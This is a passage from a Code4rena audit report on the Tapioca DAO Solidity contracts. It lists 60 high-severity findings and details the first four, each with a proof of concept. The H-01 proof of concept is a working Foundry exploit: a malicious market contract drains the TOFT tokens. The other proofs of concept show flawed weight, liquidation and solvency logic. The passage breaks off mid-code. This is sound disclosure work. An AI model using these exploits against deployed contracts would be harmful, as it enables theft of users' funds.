Tapioca DAO
Findings & Analysis Report
2023-11-16
Table of contents
- Summary
- Scope
- Severity Criteria
-
- [H-01] TOFT in (m)TapiocaOft contracts can be stolen by calling removeCollateral() with a malicious removeParams.market
- [H-02]
exitPositioninTapiocaOptionBrokermay incorrectly inflate position weights - [H-03] The amount of debt removed during
liquidationmay be worth more than the account’s collateral - [H-04] Incorrect solvency check because it multiplies collateralizationRate by share not amount when calculating liquidation threshold
- [H-05] Ability to steal user funds and increase collateral share infinitely in BigBang and Singularity
- [H-06] BalancerStrategy
_withdrawusesBPT_IN_FOR_EXACT_TOKENS_OUTwhich can be attack to cause loss to all depositors - [H-07] Usage of
BalancerStrategy.updateCachewill cause single sided Loss, discount to Depositor and to OverBorrow from Singularity - [H-08]
LidoEthStrategy._currentBalanceis subject to price manipulation, allows overborrowing and liquidations - [H-09]
TricryptoLPStrategy.compoundAmountalways returns 0 because it’s using staticall vs call - [H-10] Liquidated USDO from BigBang not being burned after liquidation inflates USDO supply and can threaten peg permanently
- [H-11] TOFT
exerciseOptioncan be used to steal all underlying erc20 tokens - [H-12] TOFT
removeCollateralcan be used to steal all the balance - [H-13] TOFT
triggerSendFromcan be used to steal all the balance - [H-14] All assets of (m)TapiocaOFT can be stealed by depositing to strategy cross chain call with 1 amount but maximum shares possible
- [H-15] Attacker can specify any
receiverinUSD0.flashLoan()to drainreceiverbalance - [H-16] Attacker can block LayerZero channel due to variable gas cost of saving payload
- [H-17] Attacker can block LayerZero channel due to missing check of minimum gas passed
- [H-18]
multiHopSellCollateral()will fail due to call on an invalid market address causing bridged collateral to be locked up - [H-19]
twTAP.participate()can be permanently frozen due to lack of access control on host-chain-only operations - [H-20]
_liquidateUser()should not re-use the same minimum swap amount out for multiple liquidation - [H-21] Incorrect liquidation reward computation causes excess liquidator rewards to be given
- [H-22] Lack of safety buffer between liquidation threshold and LTV ratio for borrowers to prevent unfair liquidations
- [H-23] Refund mechanism for failed cross-chain transactions does not work
- [H-24] Incorrect formula used in function
Market.computeClosingFactor() - [H-25] Overflow risk in Market contract
- [H-26] Not enough TAP tokens to exercise if a user participates and exercises in the same epoch
- [H-27] Attacker can pass duplicated reward token addresses to steal the reward of contract
twTAP.sol - [H-28] TOFT and USDO Modules Can Be Selfdestructed
- [H-29] Exercise option cross chain message in the (m)TapiocaOFT will always revert in the destination, losing debited funds in the source chain
- [H-30]
utilizationfor_getInterestRate()does not factor in interest - [H-31] Collateral can be locked in BigBang contract when
debtStartPointis nonzero - [H-32] Reentrancy in
USDO.flashLoan(), enabling an attacker to borrow unlimited USDO exceeding the max borrow limit - [H-33]
BaseTOFTLeverageModule.sol:leverageDownInternaltries to burn tokens from wrong address - [H-34]
BaseTOFT.sol:retrieveFromStrategycan be used to manipulate other user’s positions due to absent approval check - [H-35]
BaseTOFT.sol:removeCollateralcan be used to manipulate other user’s positions and steal tokens due to absent approval check - [H-36]
twTAP.sol: Reward tokens stored in index 0 can be stolen - [H-37] Liquidation transactions can potentially fail for all markets
- [H-38] Magnetar contract has no approval checking
- [H-39]
AaveStrategy.sol: Changing swapper breaks the contract - [H-40]
BalancerStrategy.sol:_withdrawwithdraws insufficient tokens - [H-41] Rewards compounded in AaveStrategy are unredeemable
- [H-42] Attacker can steal victim’s oTAP position contents via
MagnetarMarketModule#_exitPositionAndRemoveCollateral() - [H-43] Accounted balance of GlpStrategy does not match withdrawable balance, allowing for attackers to steal unclaimed rewards
- [H-44]
BigBang::repayandSingularity::repayspend more than allowed amount - [H-45]
SGLLiquidation::_computeAssetAmountToSolvency,Market::_isSolventandMarket::_computeMaxBorrowableAmountmay overestimate the collateral, resulting in false solvency - [H-46] TOFT leverageDown always fails if TOFT is a wrapper for native tokens
- [H-47] User’s assets can be stolen when removing them from the Singularity market through the Magnetar contract
- [H-48] triggerSendFrom() will send all the ETH in the destination chain where sendFrom() is called to the refundAddress in the LzCallParams argument
- [H-49] User can give himself approval for all assets held by
MagnetarV2contract - [H-50] CompoundStrategy attempts to transfer out a greater amount of ETH than will actually be withdrawn, leading to DoS
- [H-51] Funds are locked because borrowFee is not correctly implemented in BigBang
- [H-52] Attacker can prevent rewards from being issued to gauges for a given epoch in TapiocaOptionBroker
- [H-53] Potential 99.5% loss in
emergencyWithdraw()of two Yieldbox strategies - [H-54] Anybody can buy collateral on behalf of other users without having any allowance using the multiHopBuyCollateral()
- [H-55]
_sendTokenimplementation inBalancer.solis wrong which will make the underlying erc20 be send to a random address and lost - [H-56] Tokens can be stolen from other users who have approved Magnetar
- [H-57] twAML::participate - reentrancy via _safeMint can be used to brick reward distribution
- [H-58] A user with a TapiocaOFT allowance >0 could steal all the underlying ERC20 tokens of the owner
- [H-59] The BigBang contract take more fees than it should
- [H-60] twTAP.claimAndSendRewards() will claim the wrong amount for each reward token due to the use of wrong index
- Medium Risk Findings (99)
- Low Risk and Non-Critical Issues
- Gas Optimizations
- Audit Analysis
- Disclosures
Overview
About C4
Code4rena (C4) is an open organization consisting of security researchers, auditors, developers, and individuals with domain expertise in smart contracts.
A C4 audit is an event in which community participants, referred to as Wardens, review, audit, or analyze smart contract logic in exchange for a bounty provided by sponsoring projects.
During the audit outlined in this document, C4 conducted an analysis of the Tapioca DAO smart contract system written in Solidity. The audit took place between July 5—August 4 2023.
Wardens
134 Wardens contributed reports to the Tapioca DAO:
- GalloDaSballo
- peakbolt
- KIntern_NA (duc and TrungOre)
- windhustler
- carrotsmuggler
- 0x73696d616f
- zzzitron
- kaden
- cergyk
- ItsNio
- rvierdiiev
- Ack (plotchy, popular00, and igorline)
- Vagner
- dirk_y
- xuwinnie
- 0xStalin
- Koolex
- bin2chen
- ladboy233
- SaeedAlipoor01988
- 0xRobocop
- mojito_auditor
- HE1M
- Sathish9098
- Madalad
- 0xSmartContract
- zzebra83
- 0xWaitress
- chaduke
- unsafesol (Angry_Mustache_Man and devblixt)
- n1punp
- 0xnev
- 0x007
- c7e7eff
- hunter_w3b
- K42
- JCK
- minhtrng
- cryptonue
- ayeslick
- 7e1e
- erebus
- LosPollosHermanos (jc1 and scaraven)
- 0xTheC0der
- BPZ (Bitcoinfever244, PrasadLak, and zinc42)
- adeolu
- glcanvas
- zhaojie
- Rolezn
- naman1778
- ReyAdmirado
- dharma09
- 0xfuje
- Ruhum
- jasonxiale
- plainshift (thank_you and surya)
- 0xrugpull_detector
- jaraxxus
- Udsen
- wahedtalash77
- mgf15
- kodyvim
- RedOneN
- Kaysoft
- kutugu
- Nyx
- ltyu
- rokinot
- 0xG0P1
- andy
- hassan-truscova
- nadin
- gizzy
- Breeje
- DelerRH
- hendrik
- Raihan
- paweenp
- Brenzee
- vagrant
- ak1
- clash
- marcKn
- tsvetanovv
- Limbooo
- SY_S
- petrichor
- ybansal2403
- 0xhex
- 0xta
- flutter_developer
- SAQ
- xfu
- LeoS
- IllIllI
- wangxx2026
- dontonka
- hack3r-0m
- pks_
- offside0011
- CrypticShepherd
- ACai
- 0xSky
- ck
- iglyx
- John_Femi
- Walter
- Deekshith99
- SPYBOY
- JP_Courses
- Z3R0
- audityourcontracts
- l3r0ux
- Tatakae (SaharDevep and mahdikarimi)
- kaveyjoe
- hals
- SooYa
- CryptoYulia
- ABA
- catwhiskeys
- rumen
- 0xadrii
- Topmark
- Oxsadeeq
- TiesStevelink
This audit was judged by LSDan.
Final report assembled by PaperParachute.
Summary
The C4 analysis yielded an aggregated total of 159 unique vulnerabilities. Of these vulnerabilities, 60 received a risk rating in the category of HIGH severity and 99 received a risk rating in the category of MEDIUM severity.
Additionally, C4 analysis included 79 reports detailing issues with a risk rating of LOW severity or non-critical. There were also 19 reports recommending gas optimizations.
All of the issues presented here are linked back to their original finding.
Scope
The code under review can be found within the C4 Tapioca DAO repository, and is composed of 68 smart contracts written in the Solidity programming language and includes 13291 lines of Solidity code.
In addition to the known issues identified by the project team, a Code4rena bot race was conducted at the start of the audit. The winning bot, IllIllI-bot from warden IllIllI, generated the Automated Findings report and all findings therein were classified as out of scope.
Severity Criteria
C4 assesses the severity of disclosed vulnerabilities based on three primary risk categories: high, medium, and low/non-critical.
High-level considerations for vulnerabilities span the following key areas when conducting assessments:
- Malicious Input Handling
- Escalation of privileges
- Arithmetic
- Gas use
For more information regarding the severity criteria referenced throughout the submission review process, please refer to the documentation provided on the C4 website, specifically our section on Severity Categorization.
High Risk Findings (60)
[H-01] TOFT in (m)TapiocaOft contracts can be stolen by calling removeCollateral() with a malicious removeParams.market
Submitted by 0x73696d616f
The TOFT available in the TapiocaOFT contract can be stolen when calling removeCollateral() with a malicious market.
Proof of Concept
(m)TapiocaOFT inherit BaseTOFT, which has a function removeCollateral() that accepts a market address as an argument. This function calls _lzSend() internally on the source chain, which then is forwarded to the destination chain by the relayer and calls lzReceive().
lzReceive() reaches _nonBlockingLzReceive() in BaseTOFT and delegate calls to the BaseTOFTMarketModule on function remove(). This function approves TOFT to the removeParams.market and then calls function removeCollateral() of the provided market. There is no validation whatsoever in this address, such that a malicious market can be provided that steals all funds, as can be seen below:
function remove(bytes memory _payload) public {
...
approve(removeParams.market, removeParams.share); // no validation prior to this 2 calls
IMarket(removeParams.market).removeCollateral(
to,
to,
removeParams.share
);
...
}
The following POC in Foundry demonstrates this vulnerability, the attacker is able to steal all TOFT in mTapiocaOFT:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.18;
import {Test, console} from "forge-std/Test.sol";
import {TapiocaOFT} from "contracts/tOFT/TapiocaOFT.sol";
import {BaseTOFTMarketModule} from "contracts/tOFT/modules/BaseTOFTMarketModule.sol";
import {IYieldBoxBase} from "tapioca-periph/contracts/interfaces/IYieldBoxBase.sol";
import {ISendFrom} from "tapioca-periph/contracts/interfaces/ISendFrom.sol";
import {ICommonData} from "tapioca-periph/contracts/interfaces/ICommonData.sol";
import {ITapiocaOFT} from "tapioca-periph/contracts/interfaces/ITapiocaOFT.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
contract MaliciousMarket {
address public immutable attacker;
address public immutable tapiocaOft;
constructor(address attacker_, address tapiocaOft_) {
attacker = attacker_;
tapiocaOft = tapiocaOft_;
}
function removeCollateral(address, address, uint256 share) external {
IERC20(tapiocaOft).transferFrom(msg.sender, attacker, share);
}
}
contract TapiocaOFTPOC is Test {
address public constant LZ_ENDPOINT = 0x66A71Dcef29A0fFBDBE3c6a460a3B5BC225Cd675;
uint16 internal constant PT_MARKET_REMOVE_COLLATERAL = 772;
function test_POC_StealAllAssetsInTapiocaOFT_RemoveCollateral_MaliciousMarket()
public
{
vm.createSelectFork("https://eth.llamarpc.com");
address marketModule_ = address(
new BaseTOFTMarketModule(
address(LZ_ENDPOINT),
address(0),
IYieldBoxBase(address(2)),
"SomeName",
"SomeSymbol",
18,
block.chainid
)
);
TapiocaOFT tapiocaOft_ = new TapiocaOFT(
LZ_ENDPOINT,
address(0),
IYieldBoxBase(address(3)),
"SomeName",
"SomeSymbol",
18,
block.chainid,
payable(address(1)),
payable(address(2)),
payable(marketModule_),
payable(address(4))
);
// TOFT is acummulated in the TapiocaOft contract and can be stolen by the malicious market
// for example, strategyDeposit of the BaseTOFTMarketModule credits TOFT to tapiocaOft
uint256 tOftInTapiocaOft_ = 1 ether;
deal(address(tapiocaOft_), address(tapiocaOft_), tOftInTapiocaOft_);
address attacker_ = makeAddr("attacker");
deal(attacker_, 1 ether); // lz fees
uint16 lzDstChainId_ = 102;
address zroPaymentAddress_ = address(0);
ICommonData.IWithdrawParams memory withdrawParams_;
ITapiocaOFT.IRemoveParams memory removeParams_;
removeParams_.share = tOftInTapiocaOft_;
removeParams_.market = address(new MaliciousMarket(attacker_, address(tapiocaOft_)));
ICommonData.IApproval[] memory approvals_;
bytes memory adapterParams_;
tapiocaOft_.setTrustedRemoteAddress(lzDstChainId_, abi.encodePacked(tapiocaOft_));
vm.prank(attacker_);
tapiocaOft_.removeCollateral{value: 1 ether}(
attacker_,
attacker_,
lzDstChainId_,
zroPaymentAddress_,
withdrawParams_,
removeParams_,
approvals_,
adapterParams_
);
bytes memory lzPayload_ = abi.encode(
PT_MARKET_REMOVE_COLLATERAL,
attacker_,
attacker_,
bytes32(bytes20(attacker_)),
removeParams_,
withdrawParams_,
approvals_
);
vm.prank(LZ_ENDPOINT);
tapiocaOft_.lzReceive(lzDstChainId_, abi.encodePacked(tapiocaOft_, tapiocaOft_), 0, lzPayload_);
assertEq(tapiocaOft_.balanceOf(attacker_), tOftInTapiocaOft_);
}
}
Tools Used
Vscode, Foundry
Recommended Mitigation Steps
Whitelist the removeParams.market address to prevent users from providing malicious markets.
[H-02] exitPosition in TapiocaOptionBroker may incorrectly inflate position weights
Submitted by ItsNio, also found by KIntern_NA
Users who participate() and place stakes with large magnitudes may have their weight removed prematurely from pool.cumulative, hence causing the weight logic of participation to be wrong. pool.cumulative will have an incomplete image of the actual pool hence allowing future users to have divergent power when they should not. In particular, this occurs during the exitPosition() function.
Proof of Concept
This vulnerability stems from exitPosition() using the current pool.AverageMagnitude instead of the respective magnitudes of the user’s weights to update pool.cumulative on line 316. Hence, when users call exitPosition(), the amount that pool.cumulative is updated but may not be representative of the weight of the user’s input.
Imagine if we have three users, Alice, Bob, and Charlie who all decide to call participate(). Alice calls participate() with a smaller amount and a smaller time, hence having a weight of 10. Bob calls participate() with a larger amount and a larger time, hence having a weight of 50. Charlie calls participate() with a weight of 20.
Scenario
- Alice calls
participate()first at time 0 with the aforementioned amount and time. Thepool.cumulativeis now 10 and thepool.AverageMagnitudeis 10 as well. Alice’s position will expire at time 10. - Bob calls
participate()at time 5. Thepool.cumulativeis now 10 + 50 = 60 and thepool.AverageMagnitudeis 50. - Alice calls
exitPosition()at time 10.pool.cumulativeis 60, butpool.AverageMagnitudeis still 50. Hence,pool.cumulativewill be decreased by 50, even though the weight of Alice’s input is 10. - Charlie calls
participatewith weight 20. Charlie will have divergent power in the pool with both Bob and Charlie, since 20 >pool.cumulative(10).
If Alice does not participate at all, Charlie will not have divergent power in a pool with Bob and Charlie, since the pool.cumulative = Bob’s weight = 50 > Charlie’s weight (20).
We have provided a test to demonstrate the pool.cumulative inflation. Copy the following code intotap-token-audit/test/oTAP/tOB.test.ts as one of the tests.
it('POC', async () => {
const {
signer,
tOLP,
tOB,
tapOFT,
sglTokenMock,
sglTokenMockAsset,
yieldBox,
oTAP,
} = await loadFixture(setupFixture);
// Setup tOB
await tOB.oTAPBrokerClaim();
await tapOFT.setMinter(tOB.address);
// Setup - register a singularity, mint and deposit in YB, lock in tOLP
const amount = 3e10;
const lockDurationA = 10;
const lockDurationB = 100;
await tOLP.registerSingularity(
sglTokenMock.address,
sglTokenMockAsset,
0,
);
await sglTokenMock.freeMint(amount);
await sglTokenMock.approve(yieldBox.address, amount);
await yieldBox.depositAsset(
sglTokenMockAsset,
signer.address,
signer.address,
amount,
0,
);
const ybAmount = await yieldBox.toAmount(
sglTokenMockAsset,
await yieldBox.balanceOf(signer.address, sglTokenMockAsset),
false,
);
await yieldBox.setApprovalForAll(tOLP.address, true);
//A (short less impact)
console.log(ybAmount);
await tOLP.lock(
signer.address,
sglTokenMock.address,
lockDurationA,
ybAmount.div(100),
);
//B (long, big impact)
await tOLP.lock(
signer.address,
sglTokenMock.address,
lockDurationB,
ybAmount.div(2),
);
const tokenID = await tOLP.tokenCounter();
const snapshot = await takeSnapshot();
console.log("A Duration: ", lockDurationA, " B Duration: ", lockDurationB);
// Just A Participate
console.log("Just A participation");
await tOLP.approve(tOB.address, tokenID.sub(1));
await tOB.participate(tokenID.sub(1));
const participationA = await tOB.participants(tokenID.sub(1));
const oTAPTknID = await oTAP.mintedOTAP();
await time.increase(lockDurationA);
const prevPoolState = await tOB.twAML(sglTokenMockAsset);
console.log("[B4] Just A Cumulative: ", await prevPoolState.cumulative);
console.log("[B4] Just A Average: ", participationA.averageMagnitude);
await oTAP.approve(tOB.address, oTAPTknID);
await tOB.exitPosition(oTAPTknID);
console.log("Exit A position");
const newPoolState = await tOB.twAML(sglTokenMockAsset);
console.log("[A4] Just A Cumulative: ", await newPoolState.cumulative);
console.log("[A4] Just A Average: ", await participationA.averageMagnitude);
//Both Participations
console.log();
console.log("Run both participation---");
const ctime1 = new Date();
console.log("Time: ", ctime1);
//A and B Participate
await snapshot.restore();
//Before everything
const initPoolState = await tOB.twAML(sglTokenMockAsset);
console.log("[IN] Initial Cumulative: ", await initPoolState.cumulative);
//First participate A
await tOLP.approve(tOB.address, tokenID.sub(1));
await tOB.participate(tokenID.sub(1));
const xparticipationA = await tOB.participants(tokenID.sub(1));
const ATknID = await oTAP.mintedOTAP();
console.log("Participate A (smaller weight)");
console.log("[ID] A Token ID: ", ATknID);
const xprevPoolState = await tOB.twAML(sglTokenMockAsset);
console.log("[B4] Both A Cumulative: ", await xprevPoolState.cumulative);
console.log("[B4] Both A Average: ", await xparticipationA.averageMagnitude);
console.log();
//Time skip to half A's duration
await time.increase(5);
const ctime2 = new Date();
console.log("Participate B (larger weight), Time(+5): ", ctime2);
//Participate B
await tOLP.approve(tOB.address, tokenID);
await tOB.participate(tokenID);
const xparticipationB = await tOB.participants(tokenID);
const BTknID = await oTAP.mintedOTAP();
console.log("[ID] B Token ID: ", ATknID);
const xbothPoolState = await tOB.twAML(sglTokenMockAsset);
console.log("[B4] Both AB Cumulative: ", await xbothPoolState.cumulative);
console.log("[B4] Both B Average: ", await xparticipationB.averageMagnitude);
//Time skip end A
await time.increase(6);
await oTAP.approve(tOB.address, ATknID);
await tOB.exitPosition(ATknID);
const exitAPoolState = await tOB.twAML(sglTokenMockAsset);
const ctime3 = new Date();
console.log();
console.log("Exit A (Dispraportionate Weight, Time(+6 Expire A): ", ctime3);
console.log("[!X!] Just B Cumulative: ", await exitAPoolState.cumulative);
console.log("[A4] Just B Average: ", xparticipationB.averageMagnitude);
//TIme skip end B
await time.increase(lockDurationB);
await oTAP.approve(tOB.address, BTknID);
await tOB.exitPosition(BTknID);
const exitBPoolState = await tOB.twAML(sglTokenMockAsset);
const ctime4 = new Date();
console.log("Exit B, Time(+100 Expire B): ", ctime4);
console.log("[A4] END Cumulative: ", await exitBPoolState.cumulative);
});
This test runs the aforementioned scenario.
Expected Output:
BigNumber { value: "30000000000" }
A Duration: 10 B Duration: 100
Just A participation
[B4] Just A Cumulative: BigNumber { value: "10" }
[B4] Just A Average: BigNumber { value: "10" }
Exit A position
[A4] Just A Cumulative: BigNumber { value: "0" }
[A4] Just A Average: BigNumber { value: "10" }
Run both participation---
Time: 2023-08-03T21:40:52.700Z
[IN] Initial Cumulative: BigNumber { value: "0" }
Participate A (smaller weight)
[ID] A Token ID: BigNumber { value: "1" }
[B4] Both A Cumulative: BigNumber { value: "10" }
[B4] Both A Average: BigNumber { value: "10" }
Participate B (larger weight), Time(+5): 2023-08-03T21:40:52.801Z
[ID] B Token ID: BigNumber { value: "1" }
[B4] Both AB Cumulative: BigNumber { value: "60" }
[B4] Both B Average: BigNumber { value: "50" }
Exit A (Dispraportionate Weight, Time(+6 Expire A): 2023-08-03T21:40:52.957Z
[!X!] Just B Cumulative: BigNumber { value: "10" }
[A4] Just B Average: BigNumber { value: "50" }
Exit B, Time(+100 Expire B): 2023-08-03T21:40:53.029Z
[A4] END Cumulative: BigNumber { value: "0" }
✔ POC (1077ms)
The POC is split into two parts:
The first part starting with Just A Participation is when just A enters and exits. This is correct, with the pool.cumulative increasing by 10 (the weight of A) and then being decreased by 10 when A exits.
The second part starting with Run both participation--- describes the scenario mentioned by the bullet points. In particular, the pool.cumulative starts as 0 ([IN] Initial Cumulative).
Then, A enters the pool, and the pool.cumulative is increased to 10 ([B4] Both A Cumulative) similar to the first part.
Then, B enters the pool, before A exits. B has a weight of 50, thus the pool.cumulativeincreases to 60 ([B4] Both AB Cumulative).
The bug can be seen after the line beginning with [!X!]. The pool.cumulative labeled by “Just B Cumulative” is decreased by 60 - 10 = 50 when A exits, although the weight of A is only 10.
Recommended Mitigation Steps
There may be a need to store weights at the time of adding a weight instead of subtracting the last computed weight in exitPosition(). For example, when Alice calls participate(), the weight at that time is stored and removed when exitPosition() is called.
[H-03] The amount of debt removed during liquidation may be worth more than the account’s collateral
Submitted by ItsNio
The contract decreases user’s debts but may not take the full worth in collateral from the user, leading to the contract losing potential funds from the missing collateral.
Proof of concept
During the liquidate() function call, the function _updateBorrowAndCollateralShare() is eventually invoked. This function liquidates a user’s debt and collateral based on the value of the collateral they own.
In particular, the equivalent amount of debt, availableBorrowPart is calculated from the user’s collateral on line 225 through the computeClosingFactor() function call.
Then, an additional fee through the liquidationBonusAmount is applied to the debt, which is then compared to the user’s debt on line 240. The minimum of the two is assigned borrowPart, which intuitively means the maximum amount of debt that can be removed from the user’s debt.
borrowPart is then increased by a bonus through liquidationMultiplier, and then converted to generate collateralShare, which represents the amount of collateral equivalent in value to borrowPart (plus some fees and bonus).
This new collateralShare may be more than the collateral that the user owns. In that case, the collateralShare is simply decreased to the user’s collateral.
collateralShare is then removed from the user’s collateral.
The problem lies in that although the collateralShare is equivalent to the borrowPart, or the debt removed from the user’s account, it could be worth more than the collateral that the user owns in the first place. Hence, the contract loses out on funds, as debt is removed for less than it is actually worth.
To demonstrate, we provide a runnable POC.
Preconditions
...
if (collateralShare > userCollateralShare[user]) {
require(false, "collateralShare and borrowPart not worth the same"); //@audit add this line
collateralShare = userCollateralShare[user];
}
userCollateralShare[user] -= collateralShare;
...
Add the require statement to line 261. This require statement essentially reverts the contract when the if condition satisfies. The if condition holds true when the collateralShare is greater that the user’s collateral, which is the target bug.
Once the changes have been made, add the following test into the singularity.test.ts test in tapioca-bar-audit/test
Code
it('POC', async () => {
const {
usdc,
wbtc,
yieldBox,
wbtcDepositAndAddAsset,
usdcDepositAndAddCollateralWbtcSingularity,
eoa1,
approveTokensAndSetBarApproval,
deployer,
wbtcUsdcSingularity,
multiSwapper,
wbtcUsdcOracle,
__wbtcUsdcPrice,
} = await loadFixture(register);
const assetId = await wbtcUsdcSingularity.assetId();
const collateralId = await wbtcUsdcSingularity.collateralId();
const wbtcMintVal = ethers.BigNumber.from((1e8).toString()).mul(1);
const usdcMintVal = wbtcMintVal
.mul(1e10)
.mul(__wbtcUsdcPrice.div((1e18).toString()));
// We get asset
await wbtc.freeMint(wbtcMintVal);
await usdc.connect(eoa1).freeMint(usdcMintVal);
// We approve external operators
await approveTokensAndSetBarApproval();
await approveTokensAndSetBarApproval(eoa1);
// We lend WBTC as deployer
await wbtcDepositAndAddAsset(wbtcMintVal);
expect(
await wbtcUsdcSingularity.balanceOf(deployer.address),
).to.be.equal(await yieldBox.toShare(assetId, wbtcMintVal, false));
// We deposit USDC collateral
await usdcDepositAndAddCollateralWbtcSingularity(usdcMintVal, eoa1);
expect(
await wbtcUsdcSingularity.userCollateralShare(eoa1.address),
).equal(await yieldBox.toShare(collateralId, usdcMintVal, false));
// We borrow 74% collateral, max is 75%
console.log("Collateral amt: ", usdcMintVal);
const wbtcBorrowVal = usdcMintVal
.mul(74)
.div(100)
.div(__wbtcUsdcPrice.div((1e18).toString()))
.div(1e10);
console.log("WBTC borrow val: ", wbtcBorrowVal);
console.log("[$] Original price: ", __wbtcUsdcPrice.div((1e18).toString()));
await wbtcUsdcSingularity
.connect(eoa1)
.borrow(eoa1.address, eoa1.address, wbtcBorrowVal.toString());
await yieldBox
.connect(eoa1)
.withdraw(
assetId,
eoa1.address,
eoa1.address,
wbtcBorrowVal,
0,
);
const data = new ethers.utils.AbiCoder().encode(['uint256'], [1]);
// Can't liquidate
await expect(
wbtcUsdcSingularity.liquidate(
[eoa1.address],
[wbtcBorrowVal],
multiSwapper.address,
data,
data,
),
).to.be.reverted;
console.log("Price Drop: 120%");
const priceDrop = __wbtcUsdcPrice.mul(40).div(100);
await wbtcUsdcOracle.set(__wbtcUsdcPrice.add(priceDrop));
await wbtcUsdcSingularity.updateExchangeRate()
console.log("Running liquidation... ");
await expect(
wbtcUsdcSingularity.liquidate(
[eoa1.address],
[wbtcBorrowVal],
multiSwapper.address,
data,
data,
),
).to.be.revertedWith("collateralShare and borrowPart not worth the same");
console.log("[*] Reverted with reason: collateralShare and borrowPart not worth the same [Bug]");
//console.log("Collateral Share after liquidation: ", (await wbtcUsdcSingularity.userCollateralShare(eoa1.address)));
//console.log("Borrow part after liquidation: ", (await wbtcUsdcSingularity.userBorrowPart(eoa1.address)));
});
Expected Result
Collateral amt: BigNumber { value: "10000000000000000000000" }
WBTC borrow val: BigNumber { value: "74000000" }
[$] Original price: BigNumber { value: "10000" }
Price Drop: 120%
Running liquidation...
[*] Reverted with reason: collateralShare and borrowPart not worth the same [Bug]
✔ POC (2289ms)
As demonstrated, the function call reverts due to the require statement added in the preconditions.
Recommended Mitigation
One potential mitigation for this issue would be to calculate the borrowPart depending on the existing users’ collateral factoring in the fees and bonuses. The collateralShare with the fees and bonuses should not exceed the user’s collateral.
cryptotechmaker (Tapioca) confirmed
[H-04] Incorrect solvency check because it multiplies collateralizationRate by share not amount when calculating liquidation threshold
Submitted by Koolex
When a Collateralized Debt Position (CDP) reaches that liquidation threshold, it becomes eligible for liquidation and anyone can repay a position in exchange for a portion of the collateral.
Market._isSolvent is used to check if the user is solvent. if not, then it can be liquidated. Here is the method body:
function _isSolvent(
address user,
uint256 _exchangeRate
) internal view returns (bool) {
// accrue must have already been called!
uint256 borrowPart = userBorrowPart[user];
if (borrowPart == 0) return true;
uint256 collateralShare = userCollateralShare[user];
if (collateralShare == 0) return false;
Rebase memory _totalBorrow = totalBorrow;
return
yieldBox.toAmount(
collateralId,
collateralShare *
(EXCHANGE_RATE_PRECISION / FEE_PRECISION) *
collateralizationRate,
false
) >=
// Moved exchangeRate here instead of dividing the other side to preserve more precision
(borrowPart * _totalBorrow.elastic * _exchangeRate) /
_totalBorrow.base;
}
The issue is that the collateralizationRate is multiplied by collateralShare (with precision constants) then converted to amount. This is incorrect, the collateralizationRate sholud be used with amounts and not shares. Otherwise, we get wrong results.
yieldBox.toAmount(
collateralId,
collateralShare *
(EXCHANGE_RATE_PRECISION / FEE_PRECISION) *
collateralizationRate,
false
)
Please note that when using shares it is not in favour of the protocol, so amounts should be used instead. The only case where this is ok, is when the share/amount ratio is 1:1 which can not be, because totalAmount always get +1 and totalShares +1e8 to prevent 1:1 ratio type of attack.
function _toAmount(
uint256 share,
uint256 totalShares_,
uint256 totalAmount,
bool roundUp
) internal pure returns (uint256 amount) {
// To prevent reseting the ratio due to withdrawal of all shares, we start with
// 1 amount/1e8 shares already burned. This also starts with a 1 : 1e8 ratio which
// functions like 8 decimal fixed point math. This prevents ratio attacks or inaccuracy
// due to 'gifting' or rebasing tokens. (Up to a certain degree)
totalAmount++;
totalShares_ += 1e8;
Moreover, in the method _computeMaxAndMinLTVInAsset which is supposed to returns the min and max LTV for user in asset price. Amount is used and not share. Here is the code:
function _computeMaxAndMinLTVInAsset(
uint256 collateralShare,
uint256 _exchangeRate
) internal view returns (uint256 min, uint256 max) {
uint256 collateralAmount = yieldBox.toAmount(
collateralId,
collateralShare,
false
);
max = (collateralAmount * EXCHANGE_RATE_PRECISION) / _exchangeRate;
min = (max * collateralizationRate) / FEE_PRECISION;
}
I’ve set this to high severity because solvency check is a crucial part of the protocol. In short, we have :
- Inconsistency across the protocol
- Inaccuracy of calculating the liquidation threshold
- Not in favour of the protocol
Note: this is also applicable for ohter methods. For example, Market._computeMaxBorrowableAmount.
Proof of Concept
- When you run the PoC below, you will get the following results:
[PASS] test_borrow_repay() (gas: 118001)
Logs:
===BORROW===
UserBorrowPart: 745372500000000000000
Total Borrow Base: 745372500000000000000
Total Borrow Elastic: 745372500000000000000
===356 days passed===
Total Borrow Elastic: 749089151896269477984
===Solvency#1 => multiply by share===
A: 749999999999925000000750007499999924999
B: 749089151896269477984000000000000000000
===Solvency#2 => multiply by amount===
A: 749999999999925000000750000000000000000
B: 749089151896269477984000000000000000000
===Result===
Solvency#1.A != Solvency#2.A
Test result: ok. 1 passed; 0 failed; finished in 16.69ms
As you can see, numbers are not equal, and when using shares it is not in favour of the protocol, so amount should be used instead.
- Code: Please note some lines in borrow method were commented out for simplicity. It is irrelevant anyway.
_toAmountcopied from YieldBoxRebase
// PoC => BIGBANG - Solvency Check Inaccuracy
// Command => forge test -vv
pragma solidity >=0.8.4 <0.9.0;
import {Test} from "forge-std/Test.sol";
import "forge-std/console.sol";
import {DSTest} from "ds-test/test.sol";
struct AccrueInfo {
uint64 debtRate;
uint64 lastAccrued;
}
struct Rebase {
uint128 elastic;
uint128 base;
}
/// @notice A rebasing library using overflow-/underflow-safe math.
library RebaseLibrary {
/// @notice Calculates the base value in relationship to `elastic` and `total`.
function toBase(
Rebase memory total,
uint256 elastic,
bool roundUp
) internal pure returns (uint256 base) {
if (total.elastic == 0) {
base = elastic;
} else {
base = (elastic * total.base) / total.elastic;
if (roundUp && (base * total.elastic) / total.base < elastic) {
base++;
}
}
}
/// @notice Calculates the elastic value in relationship to `base` and `total`.
function toElastic(
Rebase memory total,
uint256 base,
bool roundUp
) internal pure returns (uint256 elastic) {
if (total.base == 0) {
elastic = base;
} else {
elastic = (base * total.elastic) / total.base;
if (roundUp && (elastic * total.base) / total.elastic < base) {
elastic++;
}
}
}
/// @notice Add `elastic` to `total` and doubles `total.base`.
/// @return (Rebase) The new total.
/// @return base in relationship to `elastic`.
function add(
Rebase memory total,
uint256 elastic,
bool roundUp
) internal pure returns (Rebase memory, uint256 base) {
base = toBase(total, elastic, roundUp);
total.elastic += uint128(elastic);
total.base += uint128(base);
return (total, base);
}
/// @notice Sub `base` from `total` and update `total.elastic`.
/// @return (Rebase) The new total.
/// @return elastic in relationship to `base`.
function sub(
Rebase memory total,
uint256 base,
bool roundUp
) internal pure returns (Rebase memory, uint256 elastic) {
